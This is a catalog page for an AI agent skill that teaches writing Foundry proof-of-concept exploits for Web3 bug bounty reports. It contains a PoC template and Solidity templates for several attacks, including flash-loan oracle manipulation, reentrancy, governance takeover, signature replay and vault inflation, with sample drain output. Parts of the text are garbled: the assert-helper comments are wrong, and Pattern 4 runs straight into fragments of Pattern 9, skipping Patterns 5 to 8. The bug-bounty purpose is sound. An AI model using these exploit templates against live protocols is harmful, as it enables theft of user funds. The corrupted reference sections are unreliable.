Install
$ agentstack add skill-shuvonsec-web3-bug-bounty-hunting-ai-skills-web3-poc-foundry ✓ scanned · ✓ verified — works with Claude Code, Cursor, and more.
Security review
✓ PassedNo issues found. Passed automated security review. · v0.1.0 How review works →
- ✓ Prompt-injection patterns
- ✓ Secret / credential exfiltration
- ✓ Dangerous shell & filesystem operations
- ✓ Untrusted network calls
- ✓ Known-malicious package signatures
What it can access
- ✓ Network access No
- ✓ Filesystem access No
- ✓ Shell / process execution No
- ● Environment & secrets Used
- ✓ Dynamic code execution No
From automated source analysis of v0.1.0. “Used” means the capability is present in the source — more access means more to trust, not that it’s unsafe.
About
PoC WRITING + FOUNDRY COMPLETE REFERENCE
Immunefi requires RUNNABLE code. Not pseudocode. Not steps. Running Foundry tests with before/after logs and a passing assert.
QUICK START
# Immunefi official templates (preferred for submissions)
forge init my-poc --template immunefi-team/forge-poc-templates --branch default
forge init my-poc --template immunefi-team/forge-poc-templates --branch reentrancy
forge init my-poc --template immunefi-team/forge-poc-templates --branch flash_loan
forge init my-poc --template immunefi-team/forge-poc-templates --branch price_manipulation
# Or blank Foundry project
forge init my-poc
cd my-poc
# Setup .env
echo "MAINNET_RPC_URL=https://eth.llamarpc.com" > .env
echo "BASE_RPC_URL=https://base.llamarpc.com" >> .env
echo "ARB_RPC_URL=https://arb1.arbitrum.io/rpc" >> .env
# Run exploit
source .env
forge test --match-test testExploit -vvvv --fork-url $MAINNET_RPC_URL
STANDARD PoC TEMPLATE (Production Quality for Immunefi)
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.10;
import "forge-std/Test.sol";
import "forge-std/console.sol";
/**
* @title [Protocol Name] - [Bug Description]
* @notice PoC for Immunefi submission
* @dev Demonstrates [impact] by exploiting [root cause]
*
* Vulnerable contract: [address] ([name])
* Vulnerable function: [functionName]
* Immunefi program: [URL]
* Severity: [Critical/High/Medium/Low]
*/
// Minimal interfaces — only what you need
interface IVulnProtocol {
function deposit(uint256 amount) external;
function withdraw(uint256 amount) external;
function balanceOf(address) external view returns (uint256);
}
interface IERC20 {
function approve(address, uint256) external returns (bool);
function balanceOf(address) external view returns (uint256);
function transfer(address, uint256) external returns (bool);
function transferFrom(address, address, uint256) external returns (bool);
}
contract ExploitPoC is Test {
// ============================================================
// CONFIGURATION
// ============================================================
uint256 constant ATTACK_BLOCK = 18_000_000; // pin block for reproducibility
address constant VULN_CONTRACT = 0x...;
address constant TOKEN = 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48; // USDC
IVulnProtocol vuln = IVulnProtocol(VULN_CONTRACT);
IERC20 token = IERC20(TOKEN);
// ============================================================
// SETUP
// ============================================================
function setUp() public {
vm.createSelectFork(vm.envString("MAINNET_RPC_URL"), ATTACK_BLOCK);
vm.label(VULN_CONTRACT, "VulnerableProtocol");
vm.label(TOKEN, "USDC");
vm.label(address(this), "Attacker");
}
// ============================================================
// EXPLOIT
// ============================================================
function testExploit() public {
uint256 attackerBefore = token.balanceOf(address(this));
uint256 protocolBefore = token.balanceOf(VULN_CONTRACT);
console.log("=== INITIAL STATE ===");
console.log("Attacker USDC: ", attackerBefore);
console.log("Protocol USDC: ", protocolBefore);
console.log("--------------------");
// Step 1: [description]
deal(TOKEN, address(this), 1e6); // 1 USDC starting capital
// Step 2: [description]
token.approve(VULN_CONTRACT, type(uint256).max);
vuln.deposit(1e6);
// Step 3: [the exploit]
// ... exploit logic ...
uint256 attackerAfter = token.balanceOf(address(this));
uint256 protocolAfter = token.balanceOf(VULN_CONTRACT);
console.log("=== FINAL STATE ===");
console.log("Attacker USDC: ", attackerAfter);
console.log("Protocol USDC: ", protocolAfter);
console.log("Profit: ", attackerAfter - attackerBefore);
console.log("Protocol loss: ", protocolBefore - protocolAfter);
assertGt(attackerAfter, attackerBefore, "Exploit failed: no profit");
}
}
What a Passing PoC Output Looks Like
Running 1 test for test/Exploit.t.sol:ExploitPoC
[PASS] testExploit() (gas: 1234567)
Logs:
=== INITIAL STATE ===
Attacker USDC: 100000
Protocol USDC: 5000000
--------------------
=== FINAL STATE ===
Attacker USDC: 600000
Protocol USDC: 4500000
Profit: 500000
Protocol loss: 500000
Test result: ok. 1 passed; 0 failed
The before/after numbers ARE your proof. Paste this output directly into the Immunefi report.
ESSENTIAL CHEATCODES — FULL REFERENCE
Identity / Caller Control
vm.prank(address who);
// Next single call is from `who`
// vm.prank(owner); target.setAdmin(attacker);
vm.startPrank(address who);
vm.stopPrank();
// ALL calls between start/stop are from `who`
vm.startPrank(address msgSender, address txOrigin);
// Set both msg.sender AND tx.origin simultaneously
vm.assume(bool condition);
// Skip fuzz test case if condition is false
State Manipulation
vm.deal(address who, uint256 ethAmount);
// Give ETH to any address
// vm.deal(attacker, 10 ether);
deal(address token, address to, uint256 amount);
// Give ERC20 tokens — works with any verified contract
// deal(USDC, attacker, 1_000_000e6); — gives 1M USDC without a source
vm.store(address target, bytes32 slot, bytes32 value);
// Write directly to any storage slot
vm.load(address target, bytes32 slot) returns (bytes32);
// Read any storage slot directly
vm.warp(uint256 timestamp);
// Set block.timestamp
// vm.warp(block.timestamp + 24 hours);
vm.roll(uint256 blockNumber);
// Set block.number
// vm.roll(block.number + 1000);
vm.fee(uint256 basefee);
// Set block.basefee
vm.chainId(uint256 id);
// Set block.chainid (for cross-chain signature tests)
Fork Control
vm.createFork(string memory urlOrAlias) returns (uint256 forkId);
vm.createFork(string memory urlOrAlias, uint256 blockNumber) returns (uint256 forkId);
vm.createSelectFork(string memory urlOrAlias, uint256 blockNumber) returns (uint256 forkId);
// Creates AND selects the fork — use this one
vm.selectFork(uint256 forkId);
// Switch between forks (for cross-chain tests)
vm.activeFork() returns (uint256);
// Get current fork ID
// Cross-chain test pattern:
uint256 mainnetFork = vm.createFork(vm.envString("MAINNET_RPC_URL"), 18_000_000);
uint256 baseFork = vm.createFork(vm.envString("BASE_RPC_URL"), 5_000_000);
vm.selectFork(mainnetFork);
// do mainnet action
vm.selectFork(baseFork);
// do base action
Snapshot / Revert
uint256 snapshot = vm.snapshot();
// Save entire EVM state
vm.revertTo(uint256 snapshotId);
// Restore to saved state
// Pattern: test multiple attack paths from same starting state
uint256 snap = vm.snapshot();
// test path A
vm.revertTo(snap);
// test path B
Mocking
vm.mockCall(address callee, bytes calldata data, bytes calldata returnData);
// Make any call to callee with data return returnData
// Example: mock stale Chainlink price (4 hours ago)
vm.mockCall(
PRICE_FEED,
abi.encodeWithSelector(AggregatorV3Interface.latestRoundData.selector),
abi.encode(uint80(1), int256(63000e8), uint256(0), block.timestamp - 4 hours, uint80(1))
);
vm.mockCallRevert(address callee, bytes calldata data, bytes calldata revertData);
// Make a call revert
vm.clearMockedCalls();
// Remove all mocks
Signature Helpers
(uint8 v, bytes32 r, bytes32 s) = vm.sign(uint256 privateKey, bytes32 digest);
// Sign a hash with a private key
// Usage:
bytes32 hash = keccak256(abi.encodePacked(
"\x19\x01",
DOMAIN_SEPARATOR,
keccak256(abi.encode(PERMIT_TYPEHASH, owner, spender, amount, nonce, deadline))
));
(uint8 v, bytes32 r, bytes32 s) = vm.sign(privateKey, hash);
vm.addr(uint256 privateKey) returns (address);
// Get address from private key
// uint256 key = 0xBEEF; address user = vm.addr(key);
// Generate named test address:
address attacker = makeAddr("attacker"); // deterministic, labeled
Expect Assertions
vm.expectRevert();
// Next call MUST revert (any reason)
vm.expectRevert(bytes4 errorSelector);
// Next call MUST revert with specific custom error selector
vm.expectRevert(bytes memory revertData);
// Next call MUST revert with specific data
vm.expectEmit(bool checkTopic1, bool checkTopic2, bool checkTopic3, bool checkData);
// Assert event is emitted — MUST precede the call
vm.expectEmit(true, true, false, true);
emit Transfer(from, to, amount); // declare expected event
target.transferFrom(from, to, amount); // then the actual call
vm.expectCall(address callee, bytes calldata data);
// Assert callee is called with data during next call
Labels (for Readable Traces)
vm.label(address addr, string memory name);
// Makes traces show "USDC" instead of "0xA0b86..."
// Always label in setUp():
vm.label(USDC, "USDC");
vm.label(TARGET, "VulnerableVault");
vm.label(attacker, "Attacker");
Assert Helpers
assertEq(a, b, "message"); // a == b
assertGt(a, b, "message"); // a > b
assertLt(a, b, "message"); // a = b
assertLe(a, b, "message"); // a > 160;
18 EXPLOIT PATTERN TEMPLATES (DeFiHackLabs)
Source: github.com/SunWeb3Sec/DeFiHackLabs — 681+ real hacks reproduced in Foundry.
Pattern 1: Price Oracle Manipulation
Root cause: Protocol reads getReserves() or slot0() — manipulable in same block via flash loan.
contract OracleManipulationExploit is Test {
address constant BALANCER_VAULT = 0xBA12222222228d8Ba445958a75a0704d566BF2C8;
function testExploit() public {
address[] memory tokens = new address[](1);
tokens[0] = WETH;
uint256[] memory amounts = new uint256[](1);
amounts[0] = 1000 ether;
IBalancerVault(BALANCER_VAULT).flashLoan(address(this), tokens, amounts, "");
}
function receiveFlashLoan(
address[] memory tokens,
uint256[] memory amounts,
uint256[] memory feeAmounts,
bytes memory
) external {
// Step 1: Inflate pool price
IUniswapV2Router(ROUTER).swapExactTokensForTokens(
1000 ether, 0, path, address(this), block.timestamp
);
// Step 2: Exploit price-dependent function (borrow at inflated collateral value)
ILendingProtocol(TARGET).borrow(TARGET_TOKEN, type(uint256).max);
// Step 3: Deflate price (swap back)
IUniswapV2Router(ROUTER).swapExactTokensForTokens(
balance, 0, reversePath, address(this), block.timestamp
);
// Step 4: Repay flash loan
IERC20(tokens[0]).transfer(BALANCER_VAULT, amounts[0]);
}
}
Grep: getReserves()\|slot0()\|latestAnswer()
Pattern 2: Classic Reentrancy
Root cause: External call made before state update.
contract ReentrancyExploit {
IVulnerable target;
uint256 attackAmount = 1 ether;
constructor(address _target) { target = IVulnerable(_target); }
function attack() external payable {
target.deposit{value: attackAmount}();
target.withdraw(attackAmount);
}
receive() external payable {
if (address(target).balance >= attackAmount) {
target.withdraw(attackAmount); // Re-enter during ETH transfer
}
}
}
// Foundry test:
function testReentrancy() public {
ReentrancyExploit exploit = new ReentrancyExploit(TARGET);
vm.deal(address(exploit), 1 ether);
console.log("Protocol balance before:", TARGET.balance);
exploit.attack();
console.log("Protocol balance after:", TARGET.balance);
assertEq(TARGET.balance, 0, "Drain failed");
}
Grep: \.call{value: without nonReentrant
Pattern 3: ERC721/ERC1155 Reentrancy (onReceived Hook)
Root cause: NFT transfer callbacks allow reentrancy — no payable fallback needed.
contract NFTReentrancyExploit {
IVulnProtocol target;
bool attacking;
function attack() external {
target.claimReward(); // Protocol sends NFT to us → triggers onERC721Received
}
function onERC721Received(
address, address, uint256, bytes calldata
) external returns (bytes4) {
if (!attacking) {
attacking = true;
target.claimReward(); // Re-enter before state updated
}
return this.onERC721Received.selector;
}
}
Grep: onERC721Received\|onERC1155Received\|safeTransferFrom without nonReentrant
Pattern 4: Arithmetic Overflow/Underflow
Root cause: Unchecked math block, or Solidity 0) { attacking = true; target.transferFrom(from, address(this), amount); // re-enter before state updated } } }
**Grep:** ERC777-accepting protocols → check `nonReentrant` on all token-accepting functions
---
### Pattern 10: Flash Loan Governance Attack
**Root cause:** Governance votes counted at current token balance, not snapshot. Borrow → vote → repay.
```solidity
function testGovernanceFlashLoan() public {
// Step 1: Flash borrow governance tokens
// Step 2: Vote on malicious proposal (must be pre-created)
IGovernance(TARGET).castVote(proposalId, 1); // 100% YES with borrowed tokens
// Step 3: Proposal passes
// Step 4: Repay flash loan
// Step 5: Execute malicious proposal (drain funds)
// Key check: is there a snapshot at proposal creation?
// getPastVotes(account, block.number - 1) → safe (can't flash attack)
// balanceOf(account) at vote time → VULNERABLE
}
Grep: balanceOf\|getCurrentVotes vs getPastVotes\|getVotes(account, block) in voting logic
Pattern 11: Signature Replay / Missing Nonce
Root cause: Signed messages can be reused — no nonce, no expiry, or no chainId.
function testSignatureReplay() public {
uint256 attackerKey = 0xBEEF;
address attacker = vm.addr(attackerKey);
bytes32 messageHash = keccak256(abi.encodePacked(
attacker, uint256(100e6)
// Missing: nonce, chainId, deadline
));
(uint8 v, bytes32 r, bytes32 s) = vm.sign(attackerKey, messageHash);
bytes memory sig = abi.encodePacked(r, s, v);
target.withdrawWithSignature(100e6, sig); // use once
target.withdrawWithSignature(100e6, sig); // replay — BUG if succeeds
}
Grep: ecrecover\|ECDSA.recover → check for nonces[signer]++ and block.chainid
Pattern 12: ERC4626 First Depositor Inflation
Root cause: No virtual shares. First depositor inflates price per share to steal from victim.
function testFirstDepositorInflation() public {
address victim = makeAddr("victim");
deal(USDC, victim, 999_999e6);
deal(USDC, address(this), 1 + 1_000_000e6);
// Step 1: Attacker deposits 1 wei → gets 1 share
IERC20(USDC).approve(TARGET, 1);
target.deposit(1, address(this));
console.log("Attacker shares:", target.balanceOf(address(this))); // 1
// Step 2: Donate 1M USDC directly → 1 share now = 1M USDC
IERC20(USDC).transfer(TARGET, 1_000_000e6);
// Step 3: Victim deposits ~1M USDC → rounds to 0 shares
vm.startPrank(victim);
IERC20(USDC).approve(TARGET, 999_999e6);
target.deposit(999_999e6, victim);
vm.stopPrank();
console.log("Victim shares:", target.balanceOf(victim)); // 0 if vulnerable
// Step 4: Attacker redeems → gets ~2M USDC
target.redeem(1, address(this), address(this));
assertGt(IERC20(USDC).balanceOf(address(this)), 1_500_000e6);
}
Defense to look for: _decimalsOffset() override, or totalAssets() + 1 in denominator.
Pattern 13: Flash Swap Callback Exploit (Uniswap V2/V3)
Root cause: Protocol's callback doesn't verify caller is the trusted pool.
contract FlashSw
…
## Source & license
This open-source skill is cataloged on AgentStack and links to its original source — we do not rehost the code.
- **Author:** [shuvonsec](https://github.com/shuvonsec)
- **Source:** [shuvonsec/web3-bug-bounty-hunting-ai-skills](https://github.com/shuvonsec/web3-bug-bounty-hunting-ai-skills)
- **License:** MIT
- **Homepage:** https://awarexone.com/
Install and usage instructions live in the source repository linked above.
Reviews
No reviews yet — be the first.
Write a review
Versions
- v0.1.0 Imported from the upstream source.